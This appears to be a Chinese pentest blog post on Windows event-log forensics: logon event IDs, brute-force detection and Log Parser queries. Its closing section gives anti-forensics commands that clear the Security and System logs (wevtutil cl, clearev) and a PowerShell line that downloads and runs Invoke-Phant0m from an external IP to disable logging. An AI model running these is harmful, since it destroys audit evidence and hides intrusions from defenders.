windwos痕迹清楚

前提,其实不是只有靶机上有日志,还可能存在日志记录设备

Windows日志

简介

Windows系统日志是记录系统中硬件、软件和系统问题的信息,同时还可以监视系统中发生的事件。用户可以通过它来检查错误发生的原因,或者寻找受到攻击时攻击者留下的痕迹。在渗透测试过程中,Windows日志往往会记录系统上的敏感操作,如添加用户,远程登录,执行命令等。攻击者通常会对Windows日志进行清除和绕过。

分类

系统日志(System)

记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。

默认日志路径: %SystemRoot%\System32\Winevt\Logs\System.evtx

应用程序日志(Application)

包含由应用程序或系统程序记录的事件,主要记录程序运行方面的事件,例如数据库程序可以在应用程序日志中记录文件错误,程序开发人员可以自行决定监 视哪些事件。如果某个应用程序出现崩溃情况,那么我们可以从程序事件日志中找到相应的记录,也许会有助于你解决问题。

默认日志路径:%SystemRoot%\System32\Winevt\Logs\Application.evtx

安全日志(Security)

记录系统的安全审计事件,包含各种类型的登录日志、对象访问日志、进程追踪日志、特权使用、帐号管理、策略变更、系统事件。安全日志也是调查取证中 最常用到的日志。默认设置下,安全性日志是关闭的,管理员可以使用组策略来启动安全性日志,或 者在注册表中设置审核策略,以便当安全性日志满后使系 统停止响应。

默认日志路径:%SystemRoot%\System32\Winevt\Logs\Security.evtx

系统和应用程序日志存储着故障排除信息,对于系统管理员更为有用。

安全日志记录着事件审计信息,包括用户验证 (登录、远程访问等)和特定用户在认证后对系统做了什么,对于调查人员而言,更有帮助。

查看系统日志

事件管理器

image-20240218165217671

image-20240218165230450

image-20240218165303627

注意不同的操作系统可能名字可能不同

image-20240218165343460

可以直接搜搜

说着直接使用win+r

eventvwr.msc

image-20240218165853073

image-20240218175006030

powershell

1
2
3
4
5
6
# 查看所有日志
powershell -c Get-winEvent

# 查看应用程序类别下的日志
powershell -c "Get-WinEvent -FilterHashtable @{logname='Application';}"

保存地址

C:\Windows\System32\winevt\Logs\

%systemroot%\System32\winevt\Logs\

审核策略与事件查看器

基本安全审核策略设置:https://learn.microsoft.com/zh-cn/windows/security/threat-protection/auditing/basic-security-audit-policy-settings

Windows Server 2008 R2 系统的审核功能在默认状态下并没有启用 ,建议开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。

默认状态下,也会记录一些简单的日志,日志默认大小20M 设置

添加其他安全设置

设置1:Win+R 输入 secpol.msc 打开本地安全策略 → 本地策略 → 审核策略,参考配置操作:

image-20240218171723592

问题:设置完审核策略后,执行 gpupdate /force,更新组策略,导致策略自动消失。

解决方法:删除 C:\Windows\System32\GroupPolicy\Machine\Microsoft\Windows NT\Audit\ 文件夹下的.csv文件,即可

发现没有这个就直接执行

设置2:Win+R,输入 eventvwr.msc 进入事件查看器,设置合理的日志属性,即日志最大大小、事件覆盖阀值等:

image-20240218172124035

常见登录事件日志分析

对于Windows事件日志分析,不同的EVENT ID代表了不同的意义,摘录一些常见的安全事件的说明:

事件id 说明
4624 登录成功
4625 登录失败
4634 注销成功
4647 用户自动的注销
4672 使用超级用户登录(管理员)
4720 创建用户

登录类型

每个成功登录的事件都会标记一个登录类型,不同登录类型代表不同的方式:

image-20240218173742234

本地交互式登录

这种方式就是最普通的登陆方式

  1. 4648-4624-登录成功

    首先是成功的登录,从日志分析来看至少会有2个事件发生,ID分别为 4648、4624,以下从上至下分别是各自的截图。

image-20240218174226310

image-20240218174250490

首先是 ID 4648 事件,该事件说明有人使用身份凭据在尝试登录,并且头字段中的用户名为SYSTEM,看看描述信息中有什么:

试图使用显式凭据登录。

主题:
安全 ID: SYSTEM
帐户名: PC$
帐户域: WORKGRUOP
登录 ID: 0x3e7
登录 GUID: {00000000-0000-0000-0000-000000000000}

使用了哪个帐户的凭据:
帐户名: Administrator
帐户域: PC
登录 GUID: {00000000-0000-0000-0000-000000000000}

目标服务器:
目标服务器名:localhost
附加信息: localhost

进程信息:
进程 ID: 0x630
进程名: C:\Windows\System32\winlogon.exe

网络信息:
网络地址: 127.0.0.1
端口: 0

在进程尝试通过显式指定帐户的凭据来登录该帐户时生成此事件。这通常发生在批量类型的配置中(例如计划任务) 或者使用 RUNAS 命令时。

日志名称: Security
来源: Microsoft-Windows-Security-Auditing
日期: 2022/9/29 14:43:18
事件 ID: 4648
任务类别: 登录
级别: 信息
关键字: 审核成功
用户: 暂缺
计算机: PC (目标机器名)

然后是4624 事件, 查看描述信息

已成功登录帐户。

主题:
安全 ID: SYSTEM
帐户名: PC$
帐户域: WORKGRUOP
登录 ID: 0x3e7

登录类型: 2

新登录:
安全 ID: PC\Administrator
帐户名: Administrator
帐户域: PC
登录 ID: 0x252938
登录 GUID: {00000000-0000-0000-0000-000000000000}

进程信息:
进程 ID: 0x630
进程名: C:\Windows\System32\winlogon.exe

网络信息:
工作站名: PC
源网络地址: 127.0.0.1
源端口: 0

详细身份验证信息:
登录进程: User32
身份验证数据包: Negotiate
传递服务: -
数据包名(仅限 NTLM): -
密钥长度: 0

在创建登录会话后在被访问的计算机上生成此事件。

“主题”字段指明本地系统上请求登录的帐户。这通常是一个服务(例如 Server 服务)或本地进程(例如 Winlogon.exe 或 Services.exe)。

“登录类型”字段指明发生的登录种类。最常见的类型是 2 (交互式)和 3 (网络)。

“新登录”字段会指明新登录是为哪个帐户创建的,即登录的帐户。

“网络”字段指明远程登录请求来自哪里。“工作站名”并非总是可用,而且在某些情况下可能会留为空白。

“身份验证信息”字段提供关于此特定登录请求的详细信息。
-“登录 GUID”是可以用于将此事件与一个 KDC 事件关联起来的唯一标识符。
-“传递服务”指明哪些直接服务参与了此登录请求。
- “数据包名”指明在 NTLM 协议之间使用了哪些子协议。
-“密钥长度”指明生成的会话密钥的长度。如果没有请求会话密钥则此字段为 0。

日志名称: Security
来源: Microsoft-Windows-Security-Auditing
日期: 2022/9/29 14:43:18
事件 ID: 4624
任务类别: 登录
级别: 信息
关键字: 审核成功
用户: 暂缺
计算机: PC

  1. 如果是登录失败

    可以查看到对应的出错的原因

    帐户登录失败。

    主题:
    安全 ID: SYSTEM
    帐户名: PC$
    帐户域: WORKGRUOP
    登录 ID: 0x3e7

    登录类型: 2

    登录失败的帐户:
    安全 ID: NULL SID
    帐户名: Administrator
    帐户域: PC

    失败信息:
    失败原因: 未知用户名或密码错误。
    状态: 0xc000006d
    子状态: 0xc000006a

    进程信息:
    调用方进程 ID: 0x630
    调用方进程名: C:\Windows\System32\winlogon.exe

    网络信息:
    工作站名: PC
    源网络地址: 127.0.0.1
    源端口: 0

    详细身份验证信息:
    登录进程: User32
    身份验证数据包: Negotiate
    传递服务: -
    数据包名(仅限 NTLM): -
    密钥长度: 0

    登录请求失败时在尝试访问的计算机上生成此事件。

    日志名称: Security
    来源: Microsoft-Windows-Security-Auditing
    日期: 2022/9/29 14:43:15
    事件 ID: 4625
    任务类别: 登录
    级别: 信息
    关键字: 审核失败
    用户: 暂缺
    计算机: PC

RDP协议远程登录

  1. 4648-4624-4672-登录成功

    使用mstsc远程登录某个主机时,使用的帐户是管理员帐户的话,成功的情况下会有ID为4648、4624、4672的事件产生。

    image-20240218181810533

    10 代表了交互性

  2. 4625-登录失败

登录事件 ID为 4625

登录类型为 10(远程交互)

image-20240218181903437

连接共享文件夹

远程访问某台主机的共享资源,如某个共享文件夹

  1. 2624-登录成功

使用正确的用户名和密码访问远程共享主机,登录事件ID为4624,登录类型为3(Network),审核成功。列出了源网络地址端口。

1
net use \\192.168.81.169\c$ /user:administrator

image-20240218182112022

如果访问共享资源使用的帐户名、密码正确,但是该用户对指定的共享文件夹没有访问权限时仍然会有ID为4624的认证成功事件生。

  1. 2625-登录失败

登录失败 事件ID 4625 登录类型 3

同RDP协议远程登录一样,使用不存在的用户名和错误密码分别登录失败,ID为4625,登录类型为3(网络)。审核失败,列出了登录失败的账户名和失败原因。

image-20240218182258620

RUNAS登录

登录成功 事件ID 2624

登录类型 9

image-20240218182343396

小结

在进程尝试通过显式指定帐户的凭据来登录该帐户时生成4648事件。

成功的登录通常会有4624事件产生,在创建登录会话后在被访问的计算机上生成此事件。

如果用户有特权会有4672事件产生。

通常情况下只需关注登录类型为2、3、9、10类型的4625登录失败事件。

登录爆破是咧

4624 –登录成功
4625 –登录失败
4634 – 注销成功
4647 – 用户启动的注销
4672 – 使用超级用户(如管理员)进行登录

  1. Win+R 输入 eventvwr.msc,打开事件管理器
  2. Windows日志 -> 安全 -> 筛选当前日志
  3. 输入事件ID:4625 ,进行日志筛选
  4. 发现事件ID:4625,事件数8153,即用户登录失败了8153次,那么这台服务器管理员账号可能遭遇了暴力猜解。

也可通过手动编辑XML过滤进行筛选:

1
2
3
4
5
<QueryList>
<Query Id="0" Path="Security">
<Select Path="Security">*[System[EventID=4625]] and *[EventData[Data[@Name='IpAddress']='192.168.81.134']]</Select>
</Query>
</QueryList>

接下来就来分析一下

image-20240218204413020

image-20240218204628447

发现 事件4625 的比例很大,猜测可能该主机被爆破

image-20240218205534552

可以发现攻击者的Ip

工具利用

Log Parser

Log Parser(是微软公司出品的日志分析工具,它功能强大,使用简单,可以分析基于文本的日志文件、XML 文件、CSV(逗号分隔符)文件,以及操作系统

的事件日志、注册表、文件系统、Active Directory。它可以像使用 SQL 语句一样查询分析这些数据,甚至可以把分析结果以各种图表的形式展现出来。

用法

image-20240218210839642

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
C:\>LogParser.exe

Microsoft(R)Log Parser 2.2.10

用法:

LogParser [-i:<input_format>] [-o:<output_format>] <SQL query> |
file:<query_filename>[?param1=value1+...]
[<input_format_options>] [<output_format_options>]
[-q[:ON|OFF]] [-e:<max_errors>] [-iw[:ON|OFF]]
[-stats[:ON|OFF]] [-saveDefaults] [-queryInfo]

LogParser -c -i:<input_format> -o:<output_format> <from_entity>
<into_entity> [<where_clause>] [<input_format_options>]
[<output_format_options>] [-multiSite[:ON|OFF]]
[-q[:ON|OFF]] [-e:<max_errors>] [-iw[:ON|OFF]]
[-stats[:ON|OFF]] [-queryInfo]

-i:<input_format> : IISW3C, NCSA, IIS, IISODBC, BIN, IISMSID, HTTPERR, URLSCAN, CSV, TSV, W3C, XML,
EVT, ETW, NETMON, REG, ADS, TEXTLINE, TEXTWORD, FS, COM
(指定其中一个,如果省略,将从from子句猜测)
-o:<output_format> : CSV, TSV, XML, DATAGRID, CHART, SYSLOG, NEUROVIEW, NAT, W3C, IIS, SQL, TPL, NULL
(指定其中一个,如果省略,将从from子句猜测)
-q[:ON|OFF] : 安静模式;默认值为OFF
-e:<max_errors> : 中止前的最大解析错误数;默认值为-1 (全部忽略)
-iw[:ON|OFF] : 忽略警告;默认值为OFF
-stats[:ON|OFF] : 执行查询后显示统计信息;默认值为ON
-c : 使用内置转换查询
-multiSite[:ON|OFF] : 根据 SiteID 值将 BIN 转换输出发送到多个文件;默认值为OFF
-saveDefaults : 将指定的选项保存为默认值
-restoreDefaults : 恢复出厂默认值
-queryInfo : 显示查询处理信息(不执行查询)

Examples:
LogParser "SELECT date, REVERSEDNS(c-ip) AS Client, COUNT(*) FROM file.log WHERE sc-status<>200 GROUP BY date, Client" -e:10

LogParser file:myQuery.sql?myInput=C:\temp\ex*.log+myOutput=results.csv

LogParser -c -i:BIN -o:W3C file1.log file2.log "ComputerName IS NOT NULL"

Help:
-h GRAMMAR : SQL语言语法
-h FUNCTIONS [ <function> ] : 函数语法
-h EXAMPLES : 查询和命令示例
-h -i:<input_format> : 有关 <input_format> 的帮助
-h -o:<output_format> : 有关 <output_format> 的帮助
-h -c : Conversion help

查看事件id为4624 的事件

1
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\baopo.evtx where EventID=4624"

image-20240218210636848

如图可以看到查询的信息有如下字段:

EventLog:事件日志,文件路径
RecordNumber:记录编号
TimeGenerated:生成时间
TimeWritten:写入时间
EventID:事件ID
EventType:事件类型
EventTypeName:事件类型名称
EventCategory:事件类别
EventCategoryName:事件类别名称
SourceName:来源名称
Strings:字符
ComputerName:计算机名
SID:安全标识符
Message:消息
Data:数据

指定时间范围登录成功的事件:(TimeGenerated)

1
2
LogParser.exe -i:EVT -o:DATAGRID "select * from c:\baopo.evtx where TimeGenerated < '2022-09-30 11:25:00' and TimeGenerated > '2022-09-30 11:23:00' and eventid=4624"

指定时间范围登录成功的事件:(TimeGenerated)

1
2
LogParser.exe -i:EVT -o:DATAGRID "select * from c:\baopo.evtx where TimeGenerated < '2022-09-30 11:25:00' and TimeGenerated > '2022-09-30 11:23:00' and eventid=4624"

image-20240218211301965

1
LogParser.exe -i:EVT –o:DATAGRID "SELECT EXTRACT_TOKEN(Strings,5,'|') as UserName, TimeGenerated as LoginTime, EXTRACT_TOKEN(Message,13,' ') as LogonType, EXTRACT_TOKEN(Message,38,' ') as LoginIP FROM c:\baopo.evtx where EventID=4624"

image-20240218211356319

1
2
3
4
5
6
7
8
EXTRACT_TOKEN(Strings,5,'|') as UserName :获取用户名

Strings的值为:
S-1-0-0|-|-|0x0|S-1-5-21-2599880275-3611086684-3620703807-500|Administrator|PC|0x78a856|3|NtLmSsp |NTLM|\\192.168.81.134|{00000000-0000-0000-0000-000000000000}|-|NTLM V1|0|0x0|-|192.168.81.134|53472

EXTRACT_TOKEN作用:用 | 分割 Strings 的值,从0开始取到5,为第6个结果,即用户名

EXTRACT_TOKEN(Strings,18,'|') as LoginIP :获取IP地址

查询登录失败的事件

1
LogParser.exe -i:EVT –o:DATAGRID "SELECT * FROM c:\baopo.evtx where EventID=4625"

指定时间范围登录失败的事件:

1
2
LogParser.exe -i:EVT -o:DATAGRID "select * from c:\baopo.evtx where TimeGenerated < '2022-09-30 11:24:36' and TimeGenerated > '2022-09-30 11:24:00' and eventid=4625"

提取登录失败用户名进行聚合统计:

1
2
LogParser.exe -i:EVT -o:DATAGRID "SELECT EXTRACT_TOKEN(Message,19,' ') as LoginName, EXTRACT_TOKEN(Message,13,' ') as LogonType, count(EXTRACT_TOKEN(Message,19,' ')) as Times, EXTRACT_TOKEN(Message,38,' ') as LoginIP FROM c:\baopo.evtx where EventID=4625 GROUP BY Message"

系统历史开关机记录

1
LogParser.exe -i:EVT –o:DATAGRID "SELECT TimeGenerated,EventID,Message FROM c:\System.evtx where EventID=6005 or EventID=6006"

Event Log Explorer

Event Log Explorer 是一款非常好用的Windows日志分析工具。可用于查看,监视和分析跟事件记录,包括安全,系 统,应用程序和其他微软 Windows 的记录 被记载的事件,其强大的过滤功能可以快速的过滤出有价值的信息。

下载地址:https://event-log-explorer.en.softonic.com

痕迹清楚

Windows日志清理

wevtutil.exe:用于检索有关事件日志和发布者的信息,安装和卸载事件清单,运行查询以及导出、存档和清除日志。

# 统计日志列表,查询所有日志信息,包含时间,数目

wevtutil.exe gli Application

# 获取security的最近十条日志

wevtutil qe Security /f:text /rd:true /c:10

# 获得Security的前十条Security日志

wevtutil qe Security /f:text /c:10
wevtutil qe Security /f:xml /c:10
wevtutil qe Security /rd:true /c:10

# 导出指定日志保存

wevtutil.exe epl Security 1.evtx

# 查看指定类别的日志内容

wevtutil qe Application /f:text

# 删除该类日志所有内容

wevtutil cl security
wevtutil cl system
wevtutil cl application
wevtutil cl “windows powershell”

主要就是删除日志

msf

  1. 删除所有在渗透过程中使用的工具

  2. 删除之前添加的账号

1
net user username /del
  1. 删除应用程序、系统和安全模块日志
1
clearev
  1. 关闭所有的Meterpreter连接
1
2
sessions
sessions -K

-K 删除所有的

-k 删除指定的

  1. 查看事件日志
1
run event_manager -i
  1. 删除事件日志
1
run event_manager -c

停止日志记录

利用脚本让日志功能失效,无法记录日志。

1
powershell "IEX(new-object system.net.webclient).downloadstring('http://47.101.214.85:8000/Invoke-Phant0m.ps1');Invoke-Phant0m"

https://github.com/hlldz/Invoke-Phant0m

一个 cs 插件

用于停止日志记录

手动的话

把eventlog对应的svchost进程结束

image-20240218215813916

重新开启Windows Event Log服务,即可恢复日志记录

1
net start eventlog

cs 插件

QAX-A-Team/EventLogMaster: Cobalt Strike插件 - RDP日志取证&清除 (github.com)


windwos痕迹清楚
https://tsy244.github.io/2024/02/18/渗透/windwos痕迹清除/
Author
August Rosenberg
Posted on
February 18, 2024
Licensed under